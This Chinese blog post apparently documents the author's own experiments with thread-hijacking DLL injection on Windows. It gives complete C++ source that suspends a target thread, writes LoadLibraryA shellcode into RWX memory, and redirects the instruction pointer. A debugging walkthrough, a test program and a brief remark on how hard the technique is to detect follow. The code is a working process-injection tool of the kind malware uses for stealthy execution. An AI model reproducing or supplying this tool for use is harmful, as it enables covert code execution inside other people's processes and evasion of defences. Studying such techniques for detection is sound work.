线程劫持:运行方法
C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe 18132 C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
Process ID: 18132
Injected!
劫持效果:
劫持代码如下:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <system_error>
constexpr SIZE_T PAGE_SIZE = 1 << 12;
/// <summary>
/// Print the human-readable error message cause while execution of the function and exit if TRUE
/// </summary>
/// <param name="lpFunction">Function name caused error</param>
/// <param name="bExit">Whether to exit after printing error or not (TRUE/FALSE)</param>
VOID PrintError(LPCSTR lpFunction, BOOL bExit = FALSE) {
DWORD dwErrorCode = GetLastError();
std::cout << "[" << dwErrorCode << "] " << lpFunction << ": ";
if (dwErrorCode == 0x0) {
std::cout << "Undefined error\n";
}
else {
std::cout << "error code:" << dwErrorCode << std::endl;
}
if (bExit) {
ExitProcess(1);
}
}
HANDLE GetFirstThead(DWORD dwPID) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0);
HANDLE hThread = NULL;
THREADENTRY32 te{};
te.dwSize = sizeof(THREADENTRY32);
if (!Thread32First(hSnap, &te)) {
CloseHandle(hSnap);
return hThread;
}
do {
if (te.th32OwnerProcessID == dwPID) {
// SET_CONTEXT is used to change the values of the registers
// GET_CONTEXT is used to retrieve the initial values of the registers
// SUSPEND and RESUME are required because instruction pointer can not be changed for running thread
hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
if (hThread != NULL) {
break;
}
}
} while (Thread32Next(hSnap, &te));
CloseHandle(hSnap);
return hThread;
}
BOOL DoInjection(HANDLE hProcess, HANDLE hThread, LPCSTR lpDllPath) {
#ifdef _WIN64
BYTE code[] = {
// sub rsp, 28h
0x48, 0x83, 0xec, 0x28,
// mov [rsp + 18], rax
0x48, 0x89, 0x44, 0x24, 0x18,
// mov [rsp + 10h], rcx
0x48, 0x89, 0x4c, 0x24, 0x10,
// mov rcx, 11111111111111111h
0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
// mov rax, 22222222222222222h
0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
// call rax
0xff, 0xd0,
// mov rcx, [rsp + 10h]
0x48, 0x8b, 0x4c, 0x24, 0x10,
// mov rax, [rsp + 18h]
0x48, 0x8b, 0x44, 0x24, 0x18,
// add rsp, 28h
0x48, 0x83, 0xc4, 0x28,
// mov r11, 333333333333333333h
0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
// jmp r11
0x41, 0xff, 0xe3
};
#else
BYTE code[] = {
0x60,
0x68, 0x11, 0x11, 0x11, 0x11,
0xb8, 0x22, 0x22, 0x22, 0x22,
0xff, 0xd0,
0x61,
0x68, 0x33, 0x33, 0x33, 0x33,
0xc3
};
#endif
if (SuspendThread(hThread) == -1) {
return FALSE;
}
LPVOID lpBuffer = VirtualAllocEx(
hProcess,
nullptr,
PAGE_SIZE,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (lpBuffer == nullptr) {
ResumeThread(hThread);
return FALSE;
}
CONTEXT ctx{};
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(hThread, &ctx)) {
ResumeThread(hThread);
return FALSE;
}
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL) {
ResumeThread(hThread);
return FALSE;
}
LPVOID lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
if (lpLoadLibraryA == NULL) {
ResumeThread(hThread);
return FALSE;
}
#ifdef _WIN64
* (LPVOID*)(code + 0x10) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
*(LPVOID*)(code + 0x1a) = lpLoadLibraryA;
*(PLONGLONG)(code + 0x34) = ctx.Rip;
#else
* (LPVOID*)(code + 2) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
*(LPVOID*)(code + 7) = lpLoadLibraryA;
*(PUINT)(code + 0xf) = ctx.Eip;
#endif
if (!WriteProcessMemory(
hProcess,
lpBuffer,
code,
sizeof(code),
nullptr
)) {
ResumeThread(hThread);
return FALSE;
}
if (!WriteProcessMemory(
hProcess,
(CHAR*)lpBuffer + (PAGE_SIZE / 2),
lpDllPath,
strlen(lpDllPath),
nullptr
)) {
ResumeThread(hThread);
return FALSE;
}
#ifdef _WIN64
ctx.Rip = (ULONGLONG)lpBuffer;
#else
ctx.Eip = (DWORD)lpBuffer;
#endif
if (!SetThreadContext(hThread, &ctx)) {
ResumeThread(hThread);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}
INT main(INT argc, CHAR** argv) {
// C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe pid C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
if (argc < 3) {
std::cerr << "usage: " << argv[0] << " PID DLL_PATH\n";
return 0x1;
}
std::cout << "Process ID: " << argv[1] << std::endl;
DWORD dwPID = atoi(argv[1]);
CHAR wzDllFullPath[MAX_PATH] = { 0 };
strcpy_s(wzDllFullPath, argv[2]);
/*
DWORD dwPID = 11740;
CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";
*/
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID);
if (hProcess == nullptr) {
PrintError("OpenProcess()", TRUE);
}
HANDLE hThread = GetFirstThead(dwPID);
if (hThread == NULL) {
PrintError("GetFirstThead()", TRUE);
}
// wzDllFullPath = argv[2];
if (!DoInjection(hProcess, hThread, wzDllFullPath)) {
PrintError("DoInjection()", TRUE);
}
std::cout << "Injected!\n";
return 0x0;
}
DLL代码参考:
为了了解原理,我自己debug了下,因为dll路径不正确,导致劫持无效果,因此有了下面的调试过程:
先是被劫持后的exe内存情况,可以看到执行“劫持”代码的内存分配,其中1和2是关键!
对应下面shellcode:
2是程序劫持完以后要返回源程序!所以要修改rip:
但是代码执行完,
却没有实现真正的劫持效果:
不用记事本,我们单独写一个程序调试下:
写一个sleep程序,然后断点:
可以看到在没有运行resume thread前,sleep的程序果然挂住了!如上图所示。并且劫持的程序结束以后,sleep程序会继续正常向前运行。
为了找到问题所在:设置一个断点,然后执行完resume thread看看:
还是成功断住了!
跟进去调用dll的地方
可以看到确实是调用了该dll!但是为什么没有弹出messagebox呢?
并且动态加载的模块里也没有该dll:
怀疑是我的路径字符串出错。实际运行发现并没有问题:如下
我++,SB了,原来是我自己的DLL路径不对!!!更换正确的DLL路径即可实现劫持效果!
如下:
附下:
sleep调试进程代码:
// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>
int main()
{
std::cout << "Hello World!\n";
DWORD pid = GetCurrentProcessId();
std::cout << "当前进程的PID是: " << pid << std::endl;
int i = 0;
while (1) {
SleepEx(3000, true);
std::cout << "You are done? " << i;
i += 1;
}
std::cout << "Exit!\n";
}
检测:
可以看到是直接修改进程上下文,GetThreadContext、修改rip以后,然后SetThreadContext再resumethread,让其执行注入的shellcode!
所以这种劫持情况,上述几个os api的hook性价比有点低。检测起来也比较隐蔽。GG!!!